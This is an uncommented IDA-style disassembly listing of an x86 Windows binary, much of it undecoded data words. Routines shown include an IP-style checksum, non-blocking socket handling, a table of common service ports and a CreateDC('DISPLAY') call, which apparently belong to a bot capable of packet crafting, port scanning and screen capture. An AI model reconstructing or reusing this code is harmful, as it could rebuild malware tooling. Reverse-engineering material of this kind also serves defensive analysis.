		dd 7784E825h, 36A0000h,	0F9F75999h, 0E8F05589h,	7776h
		dd 5999026Ah, 0DAF7F9F7h, 0E280D21Ah, 88D1020Eh, 68F555h
		dd 0C6000002h, 0FF50F445h, 4CB65415h, 45896600h, 0E0458BF6h
		dd 8B9C4589h, 146AE445h, 0FA5D8966h, 0F85D8966h, 88A04589h
		dd 45C6A45Dh, 15FF06A5h, 4CB654h, 0A6458966h, 6A9C458Dh
		dd 858D5020h, 0FFFFFF60h, 8146E850h, 458D0000h,	50146AE8h
		dd 5080458Dh, 8137E8h, 60858D00h, 6AFFFFFFh, 82E85034h
		dd 66FFFF6Ah, 8DF84589h, 146AD445h, 60858D50h, 50FFFFFFh
		dd 8113E8h, 0E8458D00h,	8D50146Ah, 0FFFF7485h, 1E850FFh
		dd 6A000081h, 88458D04h, 75E85053h, 83000073h, 858D44C4h
		dd 0FFFFFF60h, 0E850286Ah, 0FFFF6A3Dh, 0DE458966h, 6AD4458Dh
		dd 858D5014h, 0FFFFFF60h, 80CEE850h, 0C4830000h, 0BC458D14h
		dd 5350106Ah, 0FF60858Dh, 3C6AFFFFh, 0FC75FF50h, 0B6B815FFh
		dd 0F883004Ch, 0FF0874FFh, 0BAE90845h, 0FFFFFFFDh, 15FFFC75h
		dd 4CB6ECh, 0B5E815FFh,	8D50004Ch, 0FFFDC485h, 875FFFFh
		dd 64CC6850h, 858D0043h, 0FFFFFBC0h, 20068h, 0E5E85000h
		dd 83000076h, 9D3918C4h, 0FFFFFF58h, 8D532375h,	0FFFBC085h
		dd 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h
		dd 57ADE8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 0ED8E8h
		dd 44B5FF00h, 0E8FFFFFFh, 0FFFF7133h, 0E8535959h, 22DBD18h
		dd 0FC75FF90h, 0B6EC15FFh, 458B004Ch, 6BD23308h, 0C88B3CC0h
		dd 0F70AE8C1h, 0FFFF4CB5h, 14E9C1FFh, 858D5051h, 0FFFFFDC4h
		dd 500875FFh, 0FE44858Dh, 8D50FFFFh, 0FFFBC085h, 647C68FFh
		dd 0E8500043h, 755Ah, 391CC483h, 0FFFF589Dh, 532375FFh
		dd 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h, 50FFFFFEh
		dd 0FDC0B5FFh, 1CE8FFFFh, 83FFFF57h, 858D14C4h,	0FFFFFBC0h
		dd 0E47E850h, 0B5FF0000h, 0FFFFFF44h, 0FF70A2E8h, 535959FFh
		dd 0BC86E890h
		db 2Dh,	2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A6
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414398:				; CODE XREF: ___:004143A0j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414398
		pop	edi
		cmp	eax, 1


loc_4143A6:				; CODE XREF: ___:0041438Cj
		jnz	short loc_4143B3
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_4143B3:				; CODE XREF: ___:loc_4143A6j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
dword_4143CC	dd 81EC8B55h, 394ECh, 8458B00h,	656A5756h, 8DF08B59h, 0FFFE6CBDh
					; DATA XREF: sub_401ACD+6D4Ao
		dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 737CE8h
		dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB694h, 6CB58D50h
		dd 81FFFFFEh, 194ECh, 59656A00h, 0A5F3FC8Bh, 5FE8h, 9CC48100h
		dd 50000001h, 0FC6C858Dh, 0A868FFFFh, 50004365h, 7449E8h
		dd 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh, 0FFFF560Fh
		dd 8D14C483h, 0FFFC6C85h, 3AE850FFh, 0FF00000Dh, 98E8F075h
		dd 59FFFF6Fh, 0E8905659h, 22DBB7Ch, 81EC8B55h, 0CCECh
		dd 8B565300h, 4270A835h, 57DB3300h, 0FFFC5D89h,	0FF68D6h
		dd 36A0000h, 4589026Ah,	0D415FFF0h, 89004CB6h, 0D6FFF845h
		dd 741EE850h, 0BF590000h, 578h,	6A096A57h, 41BBE801h, 59590000h
		dd 0D8458D50h, 70BAE850h, 0C4830000h, 5A0BE0Ch,	8EE80000h
		dd 900228C3h, 33F0452Bh, 3E8B9D2h, 0F1F70000h, 1A0853Bh
		dd 870F0000h, 1C2h, 0EE081D39h,	5975004Ch, 8958106Ah, 8D50EC45h
		dd 50539845h, 707BE8h, 0CC48300h, 50EC458Dh, 5098458Dh
		dd 0FF0875FFh, 4CB5F815h, 0FF6800h, 16A0000h, 4150E8h
		dd 50595900h, 9E45B60Fh, 45B60F50h, 0B60F509Dh,	8D509C45h
		dd 0FFFF3485h, 0DC6C68FFh, 0E8500042h, 732Eh, 0EB18C483h
		dd 34858D13h, 68FFFFFFh, 4CE7E8h, 7942E850h, 59590000h
		dd 0FF34858Dh, 0FF50FFFFh, 4CB69415h, 0F4458900h, 24A8458Bh
		dd 450C5645h, 10AC45C6h, 0FFA84589h, 4CB65415h,	45896600h
		dd 7344E8AEh, 89660000h, 458BB045h, 0B84589F4h,	19C858Bh
		dd 0C7660000h, 40B245h,	40B445C6h, 6B545C6h, 0B65D8966h
		dd 0E8BC4589h, 731Ah, 0C0458966h, 7311E8h, 45896600h, 7308E8C2h
		dd 45890000h, 7300E8C4h, 45890000h, 0CC458BC8h,	0FF502566h
		dd 500C146Ah, 18CE45C6h, 0CC458966h, 0C2458B66h, 8A458966h
		dd 89BC458Bh, 458D8C45h, 0C76650A8h, 787DD045h,	0D25D8966h
		dd 0D45D8966h, 8845C766h, 57E80002h, 66FFFFFDh,	8DB64589h
		dd 286AA845h, 0FD48E850h, 458BFFFFh, 10C483B8h,	0FF548589h
		dd 458BFFFFh, 58C68BCh,	85890000h, 0FFFFFF58h, 0FF5C9D88h
		dd 85C6FFFFh, 0FFFFFF5Dh, 0E7E89006h, 667169D0h, 0FF5E8589h
		dd 858DFFFFh, 0FFFFFF60h, 8D50146Ah, 0E850C045h, 7C98h
		dd 0FF74858Dh, 5057FFFFh, 50D8458Dh, 7C87E8h, 54858D00h
		dd 68FFFFFFh, 598h, 0FCE0E850h,	0C483FFFFh, 45896620h
		dd 8D106AD2h, 53508845h, 56A8458Dh, 0F875FF50h,	0B6B815FFh
		dd 45FF004Ch, 0FE20E9FCh, 75FFFFFFh, 0EC15FFF8h, 8B004CB6h
		dd 5E5FFC45h
; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_4146CF	db 55h			; DATA XREF: sub_401ACD+4CC0o
		dd 0EC81EC8Bh, 414h, 5608558Bh,	85B8h, 0C88B5700h, 0BD8DF28Bh
		dd 0FFFFFDECh, 214EC81h, 0A5F30000h, 0B58DC88Bh, 0FFFFFDECh
		dd 82C7FC8Bh, 210h, 1, 37E8A5F3h, 81000000h, 214C4h, 858D5000h
		dd 0FFFFFBECh, 4365DC68h, 5FE85000h, 8D000071h,	0FFFBEC85h
		dd 7AE850FFh, 0FF00000Ah, 0D8E8F075h, 83FFFF6Ch, 6A14C4h
		dd 0B8BAE890h, 8B55022Dh, 54EC81ECh, 53000002h,	0FFBB56h
		dd 53570000h, 26A036Ah,	0B6D415FFh, 0F883004Ch,	0F44589FFh
		dd 858D1A75h, 0FFFFFDACh, 4367CC68h, 0BE85000h,	59000071h
		dd 0E959FF33h, 2C9h, 6AEC4D8Dh,	0FF335104h, 5057026Ah
		dd 1EC45C7h, 0FF000000h, 4CB63415h, 0FFF88300h,	15FF0E75h
		dd 4CB5E8h, 677C6850h, 1BEB0043h, 500C458Dh, 0B69415FFh
		dd 0F883004Ch, 0FF2075FFh, 4CB5E815h, 38685000h, 8D004367h
		dd 0FFFDAC85h, 0AFE850FFh, 83000070h, 6EE90CC4h, 57000002h
		dd 0DC45C766h, 15FF0002h, 4CB654h, 0DE458966h, 500C458Dh
		dd 0CAFEE890h, 358B7169h, 4270A8h, 0FFE04589h, 0F84589D6h
		dd 500C458Dh, 0FDAC858Dh, 0C68FFFFh, 50004367h,	7069E8h
		dd 0CC48300h, 214BD39h,	20750000h, 0AC858D57h, 0FFFFFFFDh
		dd 210B5h, 858D5000h, 18Ch, 875FF50h, 0FF522EE8h, 14C483FFh
		dd 0FFFC7D89h, 0F8452BD6h, 0E8B9D233h, 0F7000003h, 8DF08BF1h
		dd 10C85h, 12E85000h, 3B00006Fh, 870F59F0h, 193h, 41CBEh
		dd 0BB05EB00h, 0FFh, 0EE083D39h, 5275004Ch, 8958106Ah
		dd 8D50F045h, 5057CC45h, 6CFBE8h, 0CC48300h, 50F0458Dh
		dd 50CC458Dh, 0FF0875FFh, 4CB5F815h, 16A5300h, 3DD4E8h
		dd 50595900h, 0D245B60Fh, 45B60F50h, 0B60F50D1h, 8D50D045h
		dd 6C68AC45h, 500042DCh, 6FB5E8h, 18C48300h, 458D10EBh
		dd 0E7E868ACh, 0E850004Ch, 75CCh, 0C6565959h, 4CE9E805h
		dd 15FF4500h, 4CB654h, 0E9EAA366h, 458D004Ch, 0C76650ACh
		dd 4CE9EC05h, 66000100h, 0E9EE3D89h, 5C6004Ch, 4CE9F0h
		dd 0F105C680h, 11004CE9h, 0F23D8966h, 0FF004CE9h, 4CB69415h
		dd 0E9F4A300h, 458B004Ch, 0E9F8A3E0h, 858D004Ch, 8Ch, 3D896650h
		dd 4CEA02h, 6E30E8h, 59C08500h,	8FE81075h, 9900006Fh, 401B9h
		dd 52F9F700h, 858D0EEBh, 8Ch, 6E0FE850h, 50590000h, 0B65415FFh
		dd 0A366004Ch, 4CE9FEh,	6F65E8h, 1B99900h, 68000004h, 408h
		dd 8966F9F7h, 4CE9FC15h, 5415FF00h, 68004CB6h, 400h, 0EA00A366h
		dd 3BE8004Ch, 9900006Fh, 6852FBF7h, 4CEA04h, 6BDBE8h, 0CC48300h
		dd 6ADC458Dh, 56575010h, 4CE9E868h, 0F475FF00h,	0B6B815FFh
		dd 0F883004Ch, 0A5840FFFh, 0FF000000h, 92E8FC45h, 900228BEh
		dd 33F8452Bh, 3E8B9D2h,	0F1F70000h, 858DD88Bh, 10Ch, 6D7FE850h
		dd 0D83B0000h, 74860F59h, 0FFFFFFFEh, 15FFF475h, 4CB6ECh
		dd 8DFC758Bh, 10C85h, 0F6695000h, 41Ch,	6D58E8h, 0D2335900h
		dd 0C68BC88Bh, 0F70AE8C1h, 14EEC1F1h, 75FF5650h, 0C458DFCh
		dd 66A86850h, 858D0043h, 0FFFFFDACh, 6E3CE850h,	0C4830000h
		dd 14BD3918h, 75000002h, 858D5720h, 0FFFFFDACh,	210B5FFh
		dd 8D500000h, 18C85h, 75FF5000h, 5001E808h, 0C483FFFFh
		dd 335E5F14h, 0C3C95BC0h, 56FC75FFh, 0B5E815FFh, 8D50004Ch
		dd 68500C45h, 43661Ch
		db 0EBh, 0ACh
word_414A92	dw 8B55h		; DATA XREF: sub_401ACD+6362o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 6CB4E8h
		dd 8D505900h, 0FFFE7085h, 0A6E850FFh, 5900006Ch, 0F0858D50h
		dd 50FFFFFDh, 0B69415FFh, 0E850004Ch, 147h, 500CC483h
		dd 0FBEC858Dh, 0F868FFFFh, 50004367h, 6D89E8h, 83F63300h
		dd 75390CC4h, 562075F8h, 0FBEC858Dh, 75FFFFFFh,	858D50F4h
		dd 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF4F4Fh, 8D14C483h
		dd 0FFFBEC85h, 7AE850FFh, 0FF000006h, 0D8E8F075h, 59FFFF68h
		dd 0E8905659h, 22DB4BCh
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6F
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 71AB3E5Dh
		nop
		jmp	loc_414C2B
; ---------------------------------------------------------------------------


loc_414B6F:				; CODE XREF: ___:00414B59j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		call	near ptr 71AB155Ah
		nop
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CB5FC
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CB63C
		test	eax, eax
		jnz	short loc_414BD3
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2B
; ---------------------------------------------------------------------------


loc_414BD3:				; CODE XREF: ___:00414BCCj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDE


loc_414BDA:				; CODE XREF: ___:00414BFEj
					; ___:00414C22j
		mov	eax, edi
		jmp	short loc_414C2B
; ---------------------------------------------------------------------------


loc_414BDE:				; CODE XREF: ___:00414BD8j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414C00
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BDA


loc_414C00:				; CODE XREF: ___:00414BEDj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_414BDA
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_414C2B:				; CODE XREF: ___:00414B6Aj
					; ___:00414BD1j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		db 55h
		dd 0EC81EC8Bh, 10Ch, 6A575653h,	0DB335801h, 68535350h
		dd 0FFh, 26A036Ah, 90EC4589h, 6A0DACE8h, 0EC4D8D71h, 6A51046Ah
		dd 0A3505302h, 4CEE78h,	0B63415FFh, 358B004Ch, 4270A8h
		dd 0E850D6FFh, 6C60h, 6AC03359h, 0BD8D19h, 59FFFFFFh, 0FEF49D89h
		dd 4D89FFFFh, 0F89D8984h, 89FFFFFEh, 0FFFEFC9Dh, 7485C7FFh
		dd 1FFFFFFh, 0C7000004h, 0FFFF7885h, 15FFh, 7C85C700h
		dd 16FFFFFFh, 0C7000000h, 178045h, 45C70000h, 3588h, 8C45C700h
		dd 50h,	519045C7h, 0C7000000h, 589445h,	45C70000h, 6E98h
		dd 9C45C700h, 71h, 77A045C7h, 0C7000000h, 87A445h, 45C70000h
		dd 89A8h, 0AC45C700h, 8Bh, 8FB045C7h, 0C7000000h, 1BBB445h
		dd 45C70000h, 1BDB8h, 0BC45C700h, 400h,	99C045C7h, 0C7000005h
		dd 5DCC445h, 45C70000h,	6B8C8h,	0CC45C700h, 0CEAh, 3DD045C7h
		dd 0C700000Dh, 1388D445h, 45C70000h, 1A0BD8h, 0DC45C700h
		dd 1F40h, 90E045C7h, 0F300001Fh, 0F05D89ABh, 3E445C7h
		dd 0C7000000h, 0BB8E845h, 5D890000h, 8458BFCh, 6485C766h
		dd 2FFFFFFh, 68858900h,	8BFFFFFFh, 0BC8DFC45h, 0FFFF7405h
		dd 848B66FFh, 0FFFF7405h, 15FF50FFh, 4CB654h, 6A016A53h
		dd 85896602h, 0FFFFFF66h, 0B6D415FFh, 4D8D004Ch, 0F44589E4h
		dd 648D8D51h, 6AFFFFFFh, 0E8505110h, 0FFFFFD7Eh, 8910C483h
		dd 75FFF845h, 0EC15FFF4h, 39004CB6h, 0C75F85Dh,	8BFC4D8Bh
		dd 0D848907h, 0FFFFFEF4h, 4FC4583h, 70FC7D83h, 7CBF837Ch
		dd 68004CEEh, 42D128h, 6A84E857h, 59590000h, 4589D6FFh
		dd 0F4858DF4h, 89FFFFFEh, 4589FC5Dh, 2BD6FFF8h,	0D233F445h
		dd 3E8B9h, 3BF1F700h, 45770C45h, 8BF8458Bh, 74C33B00h
		dd 68575015h, 436824h, 0F0458957h, 6A45E8h, 10C48300h
		dd 0FF681AEBh, 530000FFh, 3834E8h, 50595900h, 0B65415FFh
		dd 0B70F004Ch, 0F04589C0h, 83FC45FFh, 8304F845h, 7C1CFC7Dh
		dd 53286AA8h, 4CEE1868h, 6716E800h, 0FFBE0000h,	0C60000FFh
		dd 4CEE1805h, 68564500h, 400h, 0EE2105C6h, 0C606004Ch
		dd 4CEE1905h, 0E6E80800h, 83000037h, 0FF5014C4h, 4CB65415h
		dd 66286A00h, 4CEE1CA3h, 5415FF00h, 80004CB6h, 4CEE200Dh
		dd 1D39FF00h, 4CEE08h, 0EE1AA366h, 8966004Ch, 4CEE1E1Dh
		dd 681A7500h, 0FFFEh, 0A6E8016Ah, 59000037h, 84D8B59h
		dd 2310E0C1h, 0EBC10BCEh, 0E7E8680Bh, 15FF004Ch, 4CB694h
		dd 4CEE24A3h, 8458B00h,	400068h, 0EE28A300h, 1D88004Ch
		dd 4CEE39h, 0B65415FFh,	5356004Ch, 0EE3AA366h, 62E8004Ch
		dd 8B000037h, 0C15356F8h, 56E808E7h, 83000037h,	0F80310C4h
		dd 5015FF57h, 0A3004CB6h, 4CEE30h, 4CEE38A0h, 87D8B00h
		dd 500C0F24h, 38A2146Ah, 66004CEEh, 89F0458Bh, 4CEE341Dh
		dd 1D896600h, 4CEE3Eh, 0EE2EA366h, 3D89004Ch, 4CEE54h
		dd 0EE581D88h, 5C6004Ch, 4CEE59h, 5415FF06h, 66004CB6h
		dd 4CEE5AA3h, 2EA16600h, 66004CEEh, 0EE4005C7h,	2004Ch
		dd 0EE443D89h, 0A366004Ch, 4CEE42h, 0EBFC5D89h,	0FFFFBE05h
		dd 5D390000h, 562F75FCh, 36CBE853h, 59590000h, 5415FF50h
		dd 66004CB6h, 4CEE2CA3h, 0EE24A100h, 50A3004Ch,	0C6004CEEh
		dd 4CEE3905h, 1D890200h, 4CEE34h, 53561FEBh, 0EE3905C6h
		dd 0E810004Ch, 3695h, 0FF505959h, 4CB65415h, 0C0B70F00h
		dd 4CEE34A3h, 5FF6600h,	4CEE1Ch, 0EE3005FFh, 0A166004Ch
		dd 4CEE2Eh, 0BE59056Ah,	4CEE2Ch, 4CEE5CBFh, 1D896600h
		dd 4CEE22h, 3C1D8966h, 6A004CEEh, 0BEA5F314h, 4CEE18h
		dd 0EE42A366h, 0E856004Ch, 0FFFF5C25h, 5068206Ah, 66004CEEh
		dd 4CEE22A3h, 5C13E800h, 0C483FFFFh, 3CA36610h,	6A004CEEh
		dd 0EE406810h, 6A53004Ch, 35FF5628h, 4CEE78h, 0B6B815FFh
		dd 45FF004Ch, 0FC7D81FCh, 3FFh,	0FF238C0Fh, 0E890FFFFh
		dd 228B7E5h, 33F4452Bh,	3E8B9D2h, 0F1F70000h, 770C453Bh
		dd 1075FF0Eh, 0BEA8E890h, 0C2E90226h, 5FFFFFFDh, 0EE7CB85Eh
		dd 0C95B004Ch
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B5	proc near		; CODE XREF: sub_401ACD+7200p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D810
		mov	edi, 0B8h


loc_4150C9:				; CODE XREF: sub_4150B5+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EC
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E390
		jl	short loc_4150C9
		jmp	short loc_41512E
; ---------------------------------------------------------------------------


loc_4150EC:				; CODE XREF: sub_4150B5+17j
					; sub_4150B5+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D810[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D828[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_4294D4
		pop	ebx


loc_41512E:				; CODE XREF: sub_4150B5+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415135	proc near		; CODE XREF: sub_401ACD+28DEp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436840
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D810


loc_41515F:				; CODE XREF: sub_415135+72j
		cmp	byte ptr [esi],	0
		jz	short loc_41519A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_43682C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 2Ch


loc_41519A:				; CODE XREF: sub_415135+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E390
		jl	short loc_41515F
		pop	edi
		pop	esi
		leave
		retn
sub_415135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AD	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 279011Eh
		mov	ebx, offset dword_4D327C
		mov	edi, 80h
		mov	esi, offset dword_4CF27C


loc_4151CF:				; CODE XREF: sub_4151AD+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4151E6:				; CODE XREF: sub_4151AD+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CF
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415221	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AD
		add	esp, 14h
		leave
		retn
sub_415221	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524D	proc near		; CODE XREF: sub_401ACD+27D5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF27C
		xor	ecx, ecx


loc_415254:				; CODE XREF: sub_41524D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D327C
		jl	short loc_415254
		cmp	[esp+arg_C], ecx
		jnz	short loc_415282
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_43688C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_415282:				; CODE XREF: sub_41524D+19j
		push	offset dword_436878
		call	sub_4151AD
		pop	ecx
		retn
sub_41524D	endp

; ---------------------------------------------------------------------------
word_41528E	dw 8B55h		; DATA XREF: sub_401ACD+2888o
		dd 1CEC81ECh, 8B000003h, 57560845h, 8B59456Ah, 0E4BD8DF0h
		dd 6AFFFFFEh, 33A5F301h, 55395FD2h, 0F845C7F0h,	80h, 89FC5589h
		dd 110B8h, 521E7500h, 0FEE8858Dh, 75FFFFFFh, 68BC68ECh
		dd 0FF500043h, 0FFFEE4B5h, 4795E8FFh, 0C483FFFFh, 68BD8014h
		dd 0FFFFFFh, 858D1774h,	0FFFFFF68h, 6483E850h, 0C0850000h
		dd 0FC458959h, 45890374h, 86583F8h, 0F27CBE00h
		db 4Ch,	0
; ---------------------------------------------------------------------------


loc_41530A:				; CODE XREF: ___:00415362j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415364
		cmp	byte ptr [esi],	0
		jz	short loc_415353
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415339
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415339
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418087
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415353


loc_415339:				; CODE XREF: ___:0041531Ej
					; ___:00415324j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A73
		add	esp, 14h


loc_415353:				; CODE XREF: ___:00415315j
					; ___:00415337j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D327C
		jl	short loc_41530A


loc_415364:				; CODE XREF: ___:00415310j
		lea	eax, [ebp-31Ch]
		push	offset dword_4368A0
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539E
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A73
		add	esp, 14h


loc_41539E:				; CODE XREF: ___:0041537Cj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-18h]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		dw 45E8h
		dd 5F022DACh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BD	proc near		; CODE XREF: sub_401ACD+7350p

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CB640
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
